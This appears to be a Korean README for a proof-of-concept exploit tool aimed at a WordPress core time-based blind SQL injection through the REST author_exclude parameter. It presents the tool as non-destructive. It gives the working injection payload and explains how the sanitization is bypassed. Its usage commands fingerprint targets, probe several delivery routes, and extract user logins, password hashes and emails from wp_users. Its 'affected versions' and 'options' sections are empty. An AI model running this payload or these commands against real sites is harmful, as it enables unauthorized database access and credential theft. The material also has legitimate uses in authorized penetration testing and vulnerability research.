CVE-2026-60137 — WordPress 코어 SQL 인젝션 PoC

CVE-2026-60137에 대한 비파괴적 개념 증명(proof-of-concept) 및 검증 하네스입니다. WordPress 코어(WP_Query::author__not_in)의 블라인드 SQL 인젝션으로, REST API의 author_exclude 파라미터를 통해 도달할 수 있습니다.

근본 원인

WP_Query::get_posts()는 author__not_in 쿼리 변수를 문자열로 연결하여 SQL을 생성합니다:

... AND {wpdb->posts}.post_author NOT IN ( <value> )

이 값은 배열(array)로 전달될 때에만 요소별 absint로 정화(sanitize)됩니다. 스칼라 문자열이 전달되면 — REST의 author_exclude 파라미터는 내부적으로 author__not_in에 매핑됩니다 — is_array() 정화 가드가 건너뛰어지고 원시 문자열이 그대로 NOT IN (...) 절 안에 들어가 SQL 인젝션이 발생합니다 (CWE-89).

1) OR SLEEP(6)# 형태의 페이로드는 다음을 생성합니다:

post_author NOT IN ( 1) OR SLEEP(6)# )

이는 post_author NOT IN (1) OR SLEEP(6)로 파싱됩니다(끝의 )는 # 주석에 의해 소비됩니다) — 데이터베이스에 쓰기 작업이 전혀 없는 깔끔한 시간 기반 블라인드 오라클입니다.

영향 대상 / 수정 버전

도달 가능성 참고 사항

• 6.9.0+ — /wp-json/batch/v1 라우트 혼동을 통해 인증 없이 싱크에 도달할 수 있습니다.
• 6.8.x — 기본 posts 라우트에서 REST 스키마가 스칼라 author_exclude를 거부(HTTP 400)하므로, 싱크는 일반적으로 플러그인/테마가 신뢰할 수 없는 입력을 전달하거나 배치 라우트를 통한 인증된 세션(--cookie)으로만 도달할 수 있습니다.

스크립트가 수행하는 작업

cve_2026_60137_poc.py는 데이터베이스에 대해 읽기 전용입니다:

1. 핑거프린팅 — 대상(generator 메타 태그, 피드, readme.html, /wp-json/ 인덱스)을 식별하여 버전이 영향 범위에 속하는지 확인합니다.
2. 탐지 — 시간 기반 오라클로 인젝션을 탐지합니다: 기준(baseline) 측정, SLEEP(0) 파싱 대조군, SLEEP(n) 페이로드를 여러 전달 벡터(직접 REST 라우트, ?rest_route=, 배치 엔드포인트)에 걸쳐 비교하고 벡터별 판정을 보고합니다.
3. 선택적 추출 — 블라인드 이진 탐색 타이밍을 통해 wp_users 행(user_login, user_pass, user_email)을 추출합니다. 엄격히 SELECT/SLEEP만 사용하며 데이터베이스에 절대 쓰지 않습니다.

사용법

# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe

# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3

# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
    --cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1

# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
    --proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json

옵션

법적 고지 / 책임 있는 사용

이 도구는 승인된 보안 테스트 전용으로 제공됩니다 — 침투 테스트, CTF, 그리고 귀하가 소유하거나 평가에 대한 명시적 서면 허가를 받은 시스템을 대상으로 한 연구를 위한 것입니다. 승인 없이 시스템을 대상으로 실행하는 것은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.

--json-out으로 기록되는 모든 출력에는 테스트한 URL, 버전 핑거프린트, 타이밍 증거가 포함될 수 있습니다 — 민감한 엔게이지먼트(engagement) 데이터로 취급하십시오.